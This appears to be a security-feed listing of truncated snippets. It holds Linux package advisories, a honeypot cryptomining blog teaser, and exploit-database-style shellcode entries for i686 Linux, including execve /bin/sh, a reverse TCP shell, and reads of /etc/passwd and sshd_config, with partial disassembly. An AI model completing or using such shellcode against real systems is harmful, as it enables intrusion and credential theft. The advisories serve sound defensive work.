XMR Cryptomining Targeting x86/i686 Systems

I have been playing close attention to Internet of Things IoT malware targeting systems with Telnet enabled, while also collecting samples targeting systems with SSH enabled on port 22. I've collected over 650 samples landing in my honeypot within the...

Important: kernel

Issue Overview: A flaw was found in the Linux kernel's implementation of RDS over TCP. A system that has the rdstcp kernel module loaded either through autoload via local process running listen, or manual loading could possibly cause a use after free UAF in which an attacker who is able to...

Linux/x86 - execve /bin/sh Shellcode (20 bytes)

/ Linux/x86 - execve /bin/sh shellcode 20 bytes Author: Rajvardhan Tested on: i686 GNU/Linux Shellcode Length: 20 Disassembly of section .text: 08049000 : 8049000: 31 c9 xor %ecx,%ecx 8049002: 6a 0b push $0xb 8049004: 58 pop %eax 8049005: 51 push %ecx 8049006: 68 2f 2f 73 68 push $0x68732f2f...

Important: kernel

Issue Overview: In the Linux kernel afalgrelease in crypto/afalg.c neglects to set a NULL value for a certain structure member, which leads to a use-after-free UAF in sockfssetattr. A local attacker can use this flaw to escalate privileges and take control of the system.CVE-2019-8912 Affected...

Medium: python34, python36

Issue Overview: Python's elementtree C accelerator failed to initialise Expat's hash salt during initialization. This could make it easy to conduct denial of service attacks against Expat by contructing an XML document that would cause pathological hash collisions in Expat's internal data...

Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes

/ Linux/x86 - execve/bin/cat /etc/ssh/sshdconfig Shellcode 44 Bytes Author: Goutham Madhwaraj Tested on: i686 GNU/Linux Shellcode Length: 44 ShoutOut - BarrierSec gcc -fno-stack-protector -z execstack loader-bind.c -o Disassembly of section .text: 08048080 : 8048080: 31 c0 xor eax,eax 8048082: 50...

Low: php56, php70, php71

Issue Overview: exifprocessIFDinMAKERNOTE in ext/exif/exif.c in PHP before 5.6.37, 7.0.x before 7.0.31, and 7.1.x before 7.1.20, allows remote attackers to cause a denial of service out-of-bounds read and application crash via a crafted JPEG file.CVE-2018-14851 An issue was discovered in PHP befo...

Medium: wget

Issue Overview: A cookie injection flaw was found in wget. An attacker can create a malicious website which, when accessed, overrides cookies belonging to arbitrary domains.CVE-2018-0494 Affected Packages: wget Issue Correction: Run yum update wget or yum update --advisory ALAS-2018-1040 to updat...

Linux/x86 - Reverse (10.10.2.4:4444/TCP) Shell Shellcode (68 bytes)

Linux/x86 - Reverse 10.10.2.4:4444/TCP Shell Shellcode 68 bytes. Shellcode exploit for Linuxx86 platform / ; Title : Linux/x86 - Reverse TCP Shell Shellcode 68 bytes ; Date : May, 2018 ; Author : Nuno Freitas ; Blog Post : https://bufferoverflowed.wordpress.com ; Twitter : @nunof11 ; SLAE ID :...

Linux/x86 - Read /etc/passwd Shellcode (62 bytes)

Linux/x86 - Read /etc/passwd Shellcode 62 bytes. Shellcode exploit for Linuxx86 platform / ; Title : Linux/x86 - Read /etc/passwd Shellcode 62 bytes ; Date : May, 2018 ; Author : Nuno Freitas ; Blog Post : https://bufferoverflowed.wordpress.com/slae32/slae-32-polymorphing-shellcodes/ ; Twitter :...

Linux/x86 execve /bin/sh Encoded Shellcode (44 bytes)

/ ; Title : Execve /bin/sh Shellcode encoded with ROT-13 + RShift-2 + XOR ; Date : April, 2018 ; Author : Nuno Freitas ; Blog Post : https://bufferoverflowed.wordpress.com/slae32/slae-32-shellcode-encoder/ ; Twitter : @nunof11 ; SLAE ID : SLAE-1112 ; Size : 44 bytes ; Tested on : i686 GNU/Linux...

PMS 0.42 Stack-Based Buffer Overflow

Exploit Author: Juan Sacco - http://exploitpack.com Vulnerability found using Exploit Pack v10 - Fuzzer local module Tested on: Kali i686 GNU/Linux Description: PMS 0.42 is prone to a local unauthenticated stack-based overflow The vulnerability is due to an unproper filter of user supplied input...

Low: libvpx

Issue Overview: Denial of service DoS in vpx/src/vpximage.c file A vulnerability in the Android media framework libvpx related to odd frame width CVE-2017-13194 Affected Packages: libvpx Issue Correction: Run yum update libvpx or yum update --advisory ALAS-2018-967 to update your system. New...

Medium: python35, python34

Issue Overview: CPython aka Python is vulnerable to an integer overflow in the PyStringDecodeEscape function in stringobject.c, resulting in heap-based buffer overflow and possible arbitrary code execution CVE-2017-1000158 Affected Packages: python35, python34 Issue Correction: Run yum update...

Linux/x86 - execve(/bin/sh) Polymorphic Shellcode (53 bytes)

/ Title: Linux/x86 - execve/bin/sh Polymorphic Shellcode 53 bytes Date: 10-Jan-2018 Exploit Author: Debashis Pal SLAE-1122 Tested on: i686 GNU/Linux '//bin/sh' = 0x68732f6e 0x69622f2f polymorphic.nasm global start section .text start: add esi, 0x30 ;junk xor ecx, ecx mul ecx mov dword esp-4, ecx...

Medium: ruby22, ruby23

Issue Overview: SMTP command injection via CRLF sequences in RCPT TO or MAIL FROM commands in Net::SMTP A SMTP command injection flaw was found in the way Ruby's Net::SMTP module handled CRLF sequences in certain SMTP commands. An attacker could potentially use this flaw to inject SMTP commands i...

Important: httpd24, httpd

Issue Overview: Apache httpd allows remote attackers to read secret data from process memory if the Limit directive can be set in a user's .htaccess file, or if httpd.conf has certain misconfigurations, aka Optionsbleed. The attacker sends an unauthenticated OPTIONS HTTP request when attempting t...

Medium: curl

Issue Overview: FILE buffer read out of bounds CVE-2017-1000099 TFTP sends more than buffer size CVE-2017-1000100 URL globbing out of bounds read CVE-2017-1000101 Affected Packages: curl Issue Correction: Run yum update curl or yum update --advisory ALAS-2017-889 to update your system. New...

Medium: exim

Issue Overview: It was found that Exim leaked DKIM signing private keys to the "mainlog" log file. As a result, an attacker with access to system log files could potentially access these leaked DKIM private keys. Affected Packages: exim Issue Correction: Run yum update exim or yum update --adviso...

Medium: libgcrypt, gnupg

Issue Overview: A design flaw was found in the libgcrypt PRNG Pseudo-Random Number Generator. An attacker who can obtain the first 580 bytes of the PRNG output can trivially predict the following 20 bytes. Affected Packages: libgcrypt, gnupg Issue Correction: Run yum update libgcrypt or yum updat...